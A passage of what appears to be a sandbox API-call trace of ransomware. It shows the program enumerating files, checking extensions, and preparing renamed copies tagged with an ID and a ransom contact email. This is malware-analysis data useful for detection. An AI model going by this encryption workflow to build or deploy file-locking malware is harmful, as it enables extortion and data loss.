returned 4 [0061.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.345] lstrlenW (lpString=".xls") returned 4 [0061.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.345] lstrlenW (lpString=".xlsx") returned 5 [0061.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.345] lstrlenW (lpString=".ppt") returned 4 [0061.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0061.345] lstrlenW (lpString=".zip") returned 4 [0061.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.345] lstrlenW (lpString=".rar") returned 4 [0061.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.345] lstrlenW (lpString=".bz2") returned 4 [0061.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.345] lstrlenW (lpString=".7z") returned 3 [0061.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0061.345] lstrlenW (lpString=".dbf") returned 4 [0061.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0061.345] lstrlenW (lpString=".1cd") returned 4 [0061.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0061.345] lstrlenW (lpString=".jpg") returned 4 [0061.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.346] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3692) returned 1 [0061.346] CloseHandle (hObject=0x194) returned 1 [0061.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x20 [0061.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.346] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.346] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0061.347] GetLastError () returned 0x0 [0061.347] ReadFile (hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0) Thread: id = 12 os_tid = 0x970 [0032.744] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x300978 [0032.745] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x3830048 [0032.745] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270308 [0032.745] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x6) returned 0x2730a8 [0032.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270320 [0032.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x100000) returned 0x3930020 [0032.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270338 [0032.746] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270338, Size=0x20) returned 0x255cd0 [0032.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270338 [0032.746] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270338, Size=0x20) returned 0x255cf8 [0032.746] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.746] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.746] Wow64DisableWow64FsRedirection (in: OldValue=0x2d7ff58 | out: OldValue=0x2d7ff58*=0x0) returned 1 [0032.746] lstrlenW (lpString="kernel32.dll") returned 12 [0032.746] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cd0 | out: hHeap=0x220000) returned 1 [0032.746] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.746] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cf8 | out: hHeap=0x220000) returned 1 [0032.746] Sleep (dwMilliseconds=0x64) [0032.931] Sleep (dwMilliseconds=0x64) [0033.171] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.171] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.171] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0033.171] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=89168) returned 1 [0033.171] CloseHandle (hObject=0x160) returned 1 [0033.171] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0033.171] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.172] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.172] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.172] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.172] lstrlenW (lpString=".doc") returned 4 [0033.172] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.172] lstrlenW (lpString=".docx") returned 5 [0033.172] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.172] lstrlenW (lpString=".pdf") returned 4 [0033.172] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.172] lstrlenW (lpString=".xls") returned 4 [0033.172] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.172] lstrlenW (lpString=".xlsx") returned 5 [0033.172] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.172] lstrlenW (lpString=".ppt") returned 4 [0033.172] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.172] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.172] lstrlenW (lpString=".zip") returned 4 [0033.172] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.172] lstrlenW (lpString=".rar") returned 4 [0033.172] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.172] lstrlenW (lpString=".bz2") returned 4 [0033.172] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.172] lstrlenW (lpString=".7z") returned 3 [0033.172] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.172] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.172] lstrlenW (lpString=".dbf") returned 4 [0033.172] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.172] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.172] lstrlenW (lpString=".1cd") returned 4 [0033.172] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.172] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.173] lstrlenW (lpString=".jpg") returned 4 [0033.173] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.173] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.173] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.173] lstrlenW (lpString=".doc") returned 4 [0033.173] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.173] lstrlenW (lpString=".docx") returned 5 [0033.173] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.173] lstrlenW (lpString=".pdf") returned 4 [0033.173] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.173] lstrlenW (lpString=".xls") returned 4 [0033.173] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.173] lstrlenW (lpString=".xlsx") returned 5 [0033.173] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.173] lstrlenW (lpString=".ppt") returned 4 [0033.173] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.173] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.173] lstrlenW (lpString=".zip") returned 4 [0033.173] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.173] lstrlenW (lpString=".rar") returned 4 [0033.173] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.173] lstrlenW (lpString=".bz2") returned 4 [0033.173] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.173] lstrlenW (lpString=".7z") returned 3 [0033.173] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.173] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.173] lstrlenW (lpString=".dbf") returned 4 [0033.173] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.173] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.173] lstrlenW (lpString=".1cd") returned 4 [0033.173] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.173] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.173] lstrlenW (lpString=".jpg") returned 4 [0033.174] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.174] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.174] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.174] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0033.174] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=87616) returned 1 [0033.174] CloseHandle (hObject=0x160) returned 1 [0033.174] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0033.174] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.174] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.174] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.174] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.174] lstrlenW (lpString=".doc") returned 4 [0033.174] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.174] lstrlenW (lpString=".docx") returned 5 [0033.174] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.174] lstrlenW (lpString=".pdf") returned 4 [0033.174] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.175] lstrlenW (lpString=".xls") returned 4 [0033.175] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.175] lstrlenW (lpString=".xlsx") returned 5 [0033.175] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.175] lstrlenW (lpString=".ppt") returned 4 [0033.175] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.175] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.175] lstrlenW (lpString=".zip") returned 4 [0033.175] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.175] lstrlenW (lpString=".rar") returned 4 [0033.175] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.175] lstrlenW (lpString=".bz2") returned 4 [0033.175] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.175] lstrlenW (lpString=".7z") returned 3 [0033.175] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.175] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.175] lstrlenW (lpString=".dbf") returned 4 [0033.175] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.175] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.175] lstrlenW (lpString=".1cd") returned 4 [0033.175] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.175] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.175] lstrlenW (lpString=".jpg") returned 4 [0033.175] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.175] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.175] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.175] lstrlenW (lpString=".doc") returned 4 [0033.175] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.175] lstrlenW (lpString=".docx") returned 5 [0033.175] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.175] lstrlenW (lpString=".pdf") returned 4 [0033.175] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.175] lstrlenW (lpString=".xls") returned 4 [0033.175] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.176] lstrlenW (lpString=".xlsx") returned 5 [0033.176] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.176] lstrlenW (lpString=".ppt") returned 4 [0033.176] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.176] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.176] lstrlenW (lpString=".zip") returned 4 [0033.176] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.176] lstrlenW (lpString=".rar") returned 4 [0033.176] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.176] lstrlenW (lpString=".bz2") returned 4 [0033.176] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.176] lstrlenW (lpString=".7z") returned 3 [0033.176] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.176] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.176] lstrlenW (lpString=".dbf") returned 4 [0033.176] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.176] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.176] lstrlenW (lpString=".1cd") returned 4 [0033.176] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.176] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.176] lstrlenW (lpString=".jpg") returned 4 [0033.176] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.177] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.177] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.177] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0033.177] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=91712) returned 1 [0033.177] CloseHandle (hObject=0x160) returned 1 [0033.177] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0033.177] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.177] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.177] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.177] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.177] lstrlenW (lpString=".doc") returned 4 [0033.177] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.177] lstrlenW (lpString=".docx") returned 5 [0033.177] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.177] lstrlenW (lpString=".pdf") returned 4 [0033.177] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.177] lstrlenW (lpString=".xls") returned 4 [0033.178] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.178] lstrlenW (lpString=".xlsx") returned 5 [0033.178] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.178] lstrlenW (lpString=".ppt") returned 4 [0033.178] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.178] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.178] lstrlenW (lpString=".zip") returned 4 [0033.178] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.178] lstrlenW (lpString=".rar") returned 4 [0033.178] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.178] lstrlenW (lpString=".bz2") returned 4 [0033.178] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.178] lstrlenW (lpString=".7z") returned 3 [0033.178] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.178] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.178] lstrlenW (lpString=".dbf") returned 4 [0033.178] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.178] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.178] lstrlenW (lpString=".1cd") returned 4 [0033.178] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.178] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.178] lstrlenW (lpString=".jpg") returned 4 [0033.178] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.178] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.178] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.178] lstrlenW (lpString=".doc") returned 4 [0033.178] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.178] lstrlenW (lpString=".docx") returned 5 [0033.178] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.178] lstrlenW (lpString=".pdf") returned 4 [0033.178] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.178] lstrlenW (lpString=".xls") returned 4 [0033.178] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.178] lstrlenW (lpString=".xlsx") returned 5 [0033.179] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.179] lstrlenW (lpString=".ppt") returned 4 [0033.179] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.179] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.179] lstrlenW (lpString=".zip") returned 4 [0033.179] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.179] lstrlenW (lpString=".rar") returned 4 [0033.179] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.179] lstrlenW (lpString=".bz2") returned 4 [0033.179] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.179] lstrlenW (lpString=".7z") returned 3 [0033.179] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.179] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.179] lstrlenW (lpString=".dbf") returned 4 [0033.179] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.179] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.179] lstrlenW (lpString=".1cd") returned 4 [0033.179] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.179] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.179] lstrlenW (lpString=".jpg") returned 4 [0033.179] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.179] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.179] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.179] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0033.180] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=94800) returned 1 [0033.180] CloseHandle (hObject=0x160) returned 1 [0033.180] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0033.180] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.180] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.180] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.180] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.180] lstrlenW (lpString=".doc") returned 4 [0033.180] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.180] lstrlenW (lpString=".docx") returned 5 [0033.180] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.180] lstrlenW (lpString=".pdf") returned 4 [0033.180] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.180] lstrlenW (lpString=".xls") returned 4 [0033.180] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.180] lstrlenW (lpString=".xlsx") returned 5 [0033.180] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.180] lstrlenW (lpString=".ppt") returned 4 [0033.180] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.180] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.180] lstrlenW (lpString=".zip") returned 4 [0033.180] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.180] lstrlenW (lpString=".rar") returned 4 [0033.180] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.180] lstrlenW (lpString=".bz2") returned 4 [0033.180] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.180] lstrlenW (lpString=".7z") returned 3 [0033.180] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.181] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.181] lstrlenW (lpString=".dbf") returned 4 [0033.181] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.181] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.181] lstrlenW (lpString=".1cd") returned 4 [0033.181] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.181] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.181] lstrlenW (lpString=".jpg") returned 4 [0033.181] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.181] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.181] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.181] lstrlenW (lpString=".doc") returned 4 [0033.181] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.181] lstrlenW (lpString=".docx") returned 5 [0033.181] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.181] lstrlenW (lpString=".pdf") returned 4 [0033.181] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.181] lstrlenW (lpString=".xls") returned 4 [0033.181] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.181] lstrlenW (lpString=".xlsx") returned 5 [0033.181] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.181] lstrlenW (lpString=".ppt") returned 4 [0033.181] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.181] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.181] lstrlenW (lpString=".zip") returned 4 [0033.181] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.181] lstrlenW (lpString=".rar") returned 4 [0033.181] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.181] lstrlenW (lpString=".bz2") returned 4 [0033.181] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.181] lstrlenW (lpString=".7z") returned 3 [0033.181] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.181] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.181] lstrlenW (lpString=".dbf") returned 4 [0033.181] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.182] lstrlenW 